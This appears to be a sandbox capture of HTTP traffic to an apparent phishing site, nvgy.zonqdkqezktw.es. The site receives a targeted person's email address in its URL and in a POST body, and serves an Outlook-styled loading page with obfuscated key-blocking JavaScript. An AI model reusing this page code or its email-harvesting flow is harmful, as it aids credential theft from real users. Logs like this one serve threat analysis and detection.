2025-03-26 21:11:17 UTC	33	OUT	Data Raw: 64 61 74 61 3d 57 51 6b 65 6e 6e 65 74 68 25 34 30 61 72 74 73 2e 73 74 61 74 65 2e 74 78 2e 75 73 Data Ascii: data=WQkenneth%40arts.state.tx.us
2025-03-26 21:11:17 UTC	1218	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q6jAWIIp6JkSclPnlc9bRuRaHcJjZw1ZcHDBxNSucpABIO692MEM%2FTbni%2FNb4X%2BVVzaxbWQse%2FJWvpOEMQ2Frf3EK%2ByJFK97pODnCHpKk2LSzcjA4aDS6TjYFv6kTEJsiPZM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16308&min_rtt=16302&rtt_var=4596&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2430&delivery_rate=247490&cwnd=252&unsent_bytes=0&cid=e826113137f6a702&ts=194&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InBrRmh6dUl0YW5PN3hrbFp1aEdzd3c9PSIsInZhbHVlIjoiQnVKdEF0eVUrT2U4WmRXSnFXdzFkaktZbFNjVjl4Z2R1YlJvOVJmanV0MWlUZHZ1OGhiOWVCNkJRZjBZbXBEaEl2NGcrVktjV3JpOXlGRlo3Tks5akgwUmNqWSthVkZQR250blFIR2tmemtmNUt2L0N0c0lsVE9uWE9yVUVYR1UiLCJtYWMiOiJkNzA2NzVhOWI3MjZkZTNjNTkxY2UwYjdmMDViOWRhYWY5NDNmYmJhYjk1MWRkZGQ2MzQ2NmVmYmE0YzM2ZmY0IiwidGFnIjoiIn0%3D; expires=Wed, 26-Mar-2025 23:11:17 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 21:11:17 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 4e 4b 4e 54 5a 72 54 54 64 6e 5a 53 39 6b 56 57 52 58 55 30 68 36 62 31 4e 43 54 45 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 6b 5a 52 53 48 6c 71 63 6a 56 33 53 7a 59 77 61 47 4e 32 52 32 63 76 4d 6d 73 33 61 7a 6c 49 62 33 6c 50 52 6b 4a 69 65 54 6c 5a 4d 44 4a 58 4b 31 5a 54 56 32 64 4f 63 57 6c 56 56 44 46 68 63 33 70 6f 61 47 64 43 52 6b 5a 36 52 32 35 75 4d 32 34 35 4d 6b 35 4d 52 58 6f 34 4c 30 52 77 5a 6c 4e 42 52 47 67 7a 65 6a 5a 6a 51 58 4a 43 61 55 74 74 4e 45 34 32 55 6e 70 56 55 33 5a 72 63 31 42 6a 61 6b 4a 69 51 55 74 54 4d 45 78 68 4f 53 39 69 53 6a 67 79 63 44 64 32 4b 31 4e 4f 63 6d 4d 35 51 7a 4e 4e 63 45 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImNKNTZrTTdnZS9kVWRXU0h6b1NCTEE9PSIsInZhbHVlIjoiTkZRSHlqcjV3SzYwaGN2R2cvMms3azlIb3lPRkJieTlZMDJXK1ZTV2dOcWlVVDFhc3poaGdCRkZ6R25uM245Mk5MRXo4L0RwZlNBRGgzejZjQXJCaUttNE42UnpVU3Zrc1BjakJiQUtTMExhOS9iSjgycDd2K1NOcmM5QzNNcEc
2025-03-26 21:11:17 UTC	336	IN	Data Raw: 31 34 39 0d 0a 7b 22 61 22 3a 22 6c 46 38 39 39 43 76 65 46 4a 73 6e 64 45 42 39 42 38 4d 44 44 59 4e 78 52 74 77 4c 48 52 63 42 49 2b 44 34 79 4b 39 57 43 2b 76 67 66 62 53 6c 6f 6b 4d 77 43 69 6d 6f 6c 74 7a 42 34 2b 56 31 33 52 52 77 42 4c 4d 77 6c 73 4b 7a 4b 6e 78 49 48 76 4c 61 77 6f 48 72 4b 46 31 61 63 33 55 57 79 4f 4e 79 36 72 6c 39 58 37 6a 36 65 53 5a 32 78 58 32 51 66 65 49 71 4e 52 2b 4d 67 58 56 56 62 5a 6f 76 6f 62 72 6a 6b 6f 44 61 79 42 58 56 48 39 35 33 6d 48 36 72 49 39 70 2b 43 46 72 33 73 64 77 41 65 46 31 41 68 63 6f 3d 22 2c 22 62 22 3a 22 66 30 38 30 39 39 63 39 36 61 36 65 32 35 30 31 39 36 61 34 32 34 66 37 30 36 38 63 39 31 61 30 22 2c 22 63 22 3a 22 38 64 62 36 33 61 36 34 34 34 65 39 37 65 38 39 35 31 30 66 32 39 32 36 37 34 Data Ascii: 149{"a":"lF899CveFJsndEB9B8MDDYNxRtwLHRcBI+D4yK9WC+vgfbSlokMwCimoltzB4+V13RRwBLMwlsKzKnxIHvLawoHrKF1ac3UWyONy6rl9X7j6eSZ2xX2QfeIqNR+MgXVVbZovobrjkoDayBXVH953mH6rI9p+CFr3sdwAeF1Ahco=","b":"f08099c96a6e250196a424f7068c91a0","c":"8db63a6444e97e89510f292674
2025-03-26 21:11:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:17 UTC	1358	OUT	GET /favicon.ico HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.us Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlRnUjNJTmpVVzczaXM1cTN1bE9JSnc9PSIsInZhbHVlIjoiUExwclRCL1UzYmUrOWdwdUZSemdSMHp0bWF1eE50SFVZd0Rnc2VBcERXRDVkakNNOGJSa1NIZng0cDRPNWpuOXhoeDNXTXhvTU5TenRieCtRZnh0T2hKZ0VReUZUM1hYNDY0M0p1dEpNN0puWWxpSHlwRnNGZ1hCeDVxMUx1MHkiLCJtYWMiOiIxYjg5ZjQxMDQ5ZjY5OTdhNDQ2MTcyZWIyNGQ0ZTQxNjYzMGM5ZGUxYTBiYmQyNGRlNDM2OTJhMGZlMDFmNWJlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikt3d1VqOE15MnRneHJCbVNtbExNeGc9PSIsInZhbHVlIjoidU5RTHBpNHp3NVdBMFV2ZGlWakdmUXdCcjlzQ0J4N1dtb09ZeUNLQUpMdFJUOXVCcStHeU8vd0trdHFYc1JweUhHdjd2YUE3RTRaakVsZ0pKT3BXekRjcFhKMW11Z0llczgxZ0s5LzUwY3hzT0k4cnZSTkZsRG8vS2hjVTYvYU4iLCJtYWMiOiI3MDQ3MDlmZjkyNjBjN2VmYzQ2ZWUyNmU1MzM5MWNhMGU1ZmI5YzIyYTM3ODc4YjNmODJmMzIzN2QwNmMwNGMzIiwidGFnIjoiIn0%3D
2025-03-26 21:11:17 UTC	1073	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 21:11:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: EXPIRED Age: 62 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=57xhERg%2BYwmIdhGo9kLKUFGeSPt1So28LUKZF2pFOkpKm3vEL9rGMGHfiKJfBXDNhgku3U%2FSzFQGWpjgOVgUwH6sxbC%2FjzYujEGQORCM8GA0SAYSsdYNGJftZFNExjx%2BxM%2BT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=330&min_rtt=322&rtt_var=105&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2276&delivery_rate=11049180&cwnd=252&unsent_bytes=0&cid=344ae1077c84db99&ts=12&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 9269a3c00a877c78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89856&min_rtt=89217&rtt_var=19467&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1930&delivery_rate=34244&cwnd=252&unsent_bytes=0&cid=9b55d7aa95386e97&ts=247&x=0"
2025-03-26 21:11:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:17 UTC	545	OUT	OPTIONS /report/v4?s=5CUk18z8d0W9IcUNIVfkVtwDKUPTCMtnXzwOL1TK%2FYuKb7djOzAZzvF9uoSP11hvAvMM8Fcm7yizmWX6GE3rsF1zRkqhoo%2Bw7wLVBexFHVYZZT4%2BvkTR3bP1SLwVQDxpSvsj HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nvgy.zonqdkqezktw.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:11:17 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 26 Mar 2025 21:11:17 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:18 UTC	1146	OUT	GET /kfBuTaOa7Rg6KwTAHoqu0U6wgRR0Y9yHEYj0Dew HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBrRmh6dUl0YW5PN3hrbFp1aEdzd3c9PSIsInZhbHVlIjoiQnVKdEF0eVUrT2U4WmRXSnFXdzFkaktZbFNjVjl4Z2R1YlJvOVJmanV0MWlUZHZ1OGhiOWVCNkJRZjBZbXBEaEl2NGcrVktjV3JpOXlGRlo3Tks5akgwUmNqWSthVkZQR250blFIR2tmemtmNUt2L0N0c0lsVE9uWE9yVUVYR1UiLCJtYWMiOiJkNzA2NzVhOWI3MjZkZTNjNTkxY2UwYjdmMDViOWRhYWY5NDNmYmJhYjk1MWRkZGQ2MzQ2NmVmYmE0YzM2ZmY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNKNTZrTTdnZS9kVWRXU0h6b1NCTEE9PSIsInZhbHVlIjoiTkZRSHlqcjV3SzYwaGN2R2cvMms3azlIb3lPRkJieTlZMDJXK1ZTV2dOcWlVVDFhc3poaGdCRkZ6R25uM245Mk5MRXo4L0RwZlNBRGgzejZjQXJCaUttNE42UnpVU3Zrc1BjakJiQUtTMExhOS9iSjgycDd2K1NOcmM5QzNNcEciLCJtYWMiOiI3YzgzMGFhOGU3MzA0NDA5OTAwYzEyNWFhNTExODA2OWZhZDdhMzk3ZGJkNWFkZTc3NTQ1MzJjNThhZDJmMTMyIiwidGFnIjoiIn0%3D
2025-03-26 21:11:18 UTC	1033	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 21:11:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YmAb7p2T6UEwWDEzPHqc1U3sWM9pndlaH4s3KzI15Aq8s79G3giS2E%2FHXAOeKTUsFwBA7B5SwmbZhBEHyjzGH%2Fvp%2FX5zYopSHM2s5ed%2BC030Py97ubsayywrRcq0E0dpqik3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=355&min_rtt=316&rtt_var=114&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2065&delivery_rate=11721739&cwnd=252&unsent_bytes=0&cid=ca375340516de6e9&ts=165&x=0" Server: cloudflare CF-RAY: 9269a3c2a85243cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89476&min_rtt=88925&rtt_var=19588&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1718&delivery_rate=33737&cwnd=252&unsent_bytes=0&cid=d9e417167908a01a&ts=401&x=0"
2025-03-26 21:11:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:18 UTC	520	OUT	POST /report/v4?s=5CUk18z8d0W9IcUNIVfkVtwDKUPTCMtnXzwOL1TK%2FYuKb7djOzAZzvF9uoSP11hvAvMM8Fcm7yizmWX6GE3rsF1zRkqhoo%2Bw7wLVBexFHVYZZT4%2BvkTR3bP1SLwVQDxpSvsj HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 430 Content-Type: application/reports+json Origin: https://nvgy.zonqdkqezktw.es User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:11:18 UTC	430	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 37 31 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 36 34 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 76 67 79 2e 7a 6f 6e 71 64 6b 71 65 7a 6b 74 77 2e Data Ascii: [{"age":0,"body":{"elapsed_time":719,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.64.1","status_code":404,"type":"http.error"},"type":"network-error","url":"https://nvgy.zonqdkqezktw.
2025-03-26 21:11:18 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 26 Mar 2025 21:11:17 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:18 UTC	1535	OUT	GET /royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.us Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBrRmh6dUl0YW5PN3hrbFp1aEdzd3c9PSIsInZhbHVlIjoiQnVKdEF0eVUrT2U4WmRXSnFXdzFkaktZbFNjVjl4Z2R1YlJvOVJmanV0MWlUZHZ1OGhiOWVCNkJRZjBZbXBEaEl2NGcrVktjV3JpOXlGRlo3Tks5akgwUmNqWSthVkZQR250blFIR2tmemtmNUt2L0N0c0lsVE9uWE9yVUVYR1UiLCJtYWMiOiJkNzA2NzVhOWI3MjZkZTNjNTkxY2UwYjdmMDViOWRhYWY5NDNmYmJhYjk1MWRkZGQ2MzQ2NmVmYmE0YzM2ZmY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNKNTZrTTdnZS9kVWRXU0h6b1NCTEE9PSIsInZhbHVlIjoiTkZRSHlqcjV3SzYwaGN2R2cvMms3azlIb3lPRkJieTlZMDJXK1ZTV2dOcWlVVDFhc3poaGdCRkZ6R25uM245Mk5MRXo4L0RwZlNBRGgzejZjQXJCaUttNE42UnpVU3Zrc1BjakJiQUtTMExhOS9iSjgycDd2K1NOcmM5QzNNcEciLCJtYWMiOiI3YzgzMGFhOGU3MzA0NDA5OTAwYzEyNWFhNTExODA2OWZhZDdhMzk3ZGJkNWFkZTc3NTQ1MzJjNThhZDJmMTMyIiwidGFnIjoiIn0%3D
2025-03-26 21:11:18 UTC	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I29XydiQjNJvGRHvjHH5SNePzkBREnzbqMW%2BTE0HpoXu26bTJBrfNpW1uHbeYrJeLrUpOdP95GKmQZSf8bEpv%2BF6rLFWcwEy%2FzoBJ4jHWaKU0kFphfLFRw2CfjKVGS4%2FunEF"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=16514&min_rtt=16383&rtt_var=4719&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2454&delivery_rate=246585&cwnd=252&unsent_bytes=0&cid=43c4b94c3ff3b29b&ts=224&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Wed, 26 Mar 2025 23:11:18 GMT
2025-03-26 21:11:18 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 63 30 56 57 34 7a 4c 79 39 70 61 30 51 72 53 48 4e 7a 51 55 56 45 57 6c 4a 76 61 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 6d 52 6c 5a 55 64 78 62 55 46 57 62 55 68 6b 65 45 59 32 55 33 59 76 56 44 64 56 5a 6b 56 30 5a 45 52 4d 4d 43 74 48 52 33 64 32 51 6e 56 4f 64 45 56 50 4e 54 64 5a 65 6b 5a 49 52 6c 59 33 62 30 38 77 55 30 78 73 5a 46 46 6f 64 56 6c 56 64 46 5a 6f 54 46 6f 7a 5a 57 4d 30 63 6c 46 4a 4b 30 64 71 4b 32 70 55 4d 45 56 33 51 6d 4a 71 63 6b 74 46 4e 47 77 76 64 6c 68 4b 65 45 64 30 61 47 35 49 62 47 67 7a 55 6e 5a 57 4e 32 68 6a 4e 6c 68 51 4d 30 74 4b 54 6b 59 76 65 6b 45 78 56 32 6c 6c 56 6c 6c 6f 62 47 77 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGw
2025-03-26 21:11:18 UTC	974	IN	Data Raw: 31 65 38 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 Data Ascii: 1e8e<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit
2025-03-26 21:11:18 UTC	1369	IN	Data Raw: 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 68 65 69 67 68 74 3a 31 30 37 70 78 3b 7d 0d 0a 23 63 61 6c 2c 23 65 66 2c 23 66 6d 61 73 6b 2c 23 6c 6f 67 6f 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 7d 0d 0a 23 6c 6f 61 64 69 6e 67 4c 6f 67 6f 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 63 61 6c 63 28 34 30 76 68 20 2d 20 39 30 70 78 29 3b 6c 65 66 74 3a 63 61 6c 63 28 35 30 76 77 20 2d 20 39 30 70 78 29 3b 77 69 64 74 68 3a 31 38 30 70 78 3b 68 65 69 67 68 74 3a 31 38 30 70 78 3b 7d 0d 0a 23 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 73 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 3a 62 6f 75 6e 63 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 6c Data Ascii: :var(--envW);height:107px;}#cal,#ef,#fmask,#logo{overflow:hidden;}#loadingLogo{position:fixed;top:calc(40vh - 90px);left:calc(50vw - 90px);width:180px;height:180px;}#container{width:var(--s);height:var(--s);animation:bounce var(--dur) infinite;}#l
2025-03-26 21:11:18 UTC	1369	IN	Data Raw: 32 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 38 61 38 65 61 3b 7d 0d 0a 23 63 6c 6f 73 65 64 46 6c 61 70 20 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 2c 2e 73 33 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 7d 0d 0a 2e 73 34 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 33 36 34 62 38 3b 7d 0d 0a 2e 73 35 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 34 34 34 37 64 3b 7d 0d 0a 23 6f 70 65 6e 65 64 46 6c 61 70 7b 61 6e 69 6d 61 74 69 6f 6e 3a 6f 70 65 6e 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 Data Ascii: 2{background:#28a8ea;}#closedFlap .flapTriangle,.s3{background:#50d9ff;}.s4{background:#0364b8;}.s5{background:#14447d;}#openedFlap{animation:opened-flap-swing var(--dur) infinite;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-ori
2025-03-26 21:11:18 UTC	1369	IN	Data Raw: 72 28 2d 2d 63 61 6c 59 45 78 74 29 29 20 73 63 61 6c 65 59 28 31 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 36 36 2c 2d 30 2e 31 36 2c 31 2c 2d 30 2e 32 39 29 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 6f 70 65 6e 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 7b 30 25 2c 31 30 30 25 2c 31 34 2e 35 25 2c 37 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 36 38 70 78 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 2d 39 30 64 65 67 29 3b 7d 31 36 2e 35 25 2c 35 30 25 2c 37 34 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 36 38 70 78 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 2d 31 38 30 64 65 67 29 3b 7d 7d 0d Data Ascii: r(--calYExt)) scaleY(1);animation-timing-function:cubic-bezier(0.66,-0.16,1,-0.29);}}@keyframes opened-flap-swing{0%,100%,14.5%,76%{transform:translateY(-68px) rotate3d(1,0,0,-90deg);}16.5%,50%,74%{transform:translateY(-68px) rotate3d(1,0,0,-180deg);}}
2025-03-26 21:11:18 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 28 21 4b 45 6d 52 53 43 52 44 56 66 2e 73 68 69 66 74 20 7c 7c 20 65 76 65 6e 74 2e 73 68 69 66 74 4b 65 79 29 20 26 26 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 21 4b 45 6d 52 53 43 52 44 56 66 2e 6d 65 74 61 20 7c 7c 20 65 76 65 6e 74 2e 6d 65 74 61 4b 65 79 29 20 26 26 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 21 4b 45 6d 52 53 43 52 44 56 66 2e 61 6c 74 20 7c 7c 20 65 76 65 6e 74 2e 61 6c 74 4b 65 79 29 20 26 26 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 20 3d 3d 3d 20 4b 45 6d 52 53 43 52 44 56 66 2e 6b 65 79 43 6f 64 65 0d 0a 20 20 20 20 20 20 20 20 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 6f 70 6e 6a 44 62 79 74 47 71 28 65 76 65 6e 74 29 29 20 7b 0d 0a 20 20 20 Data Ascii: (!KEmRSCRDVf.shift \|\| event.shiftKey) && (!KEmRSCRDVf.meta \|\| event.metaKey) && (!KEmRSCRDVf.alt \|\| event.altKey) && event.keyCode === KEmRSCRDVf.keyCode ); } if (opnjDbytGq(event)) {
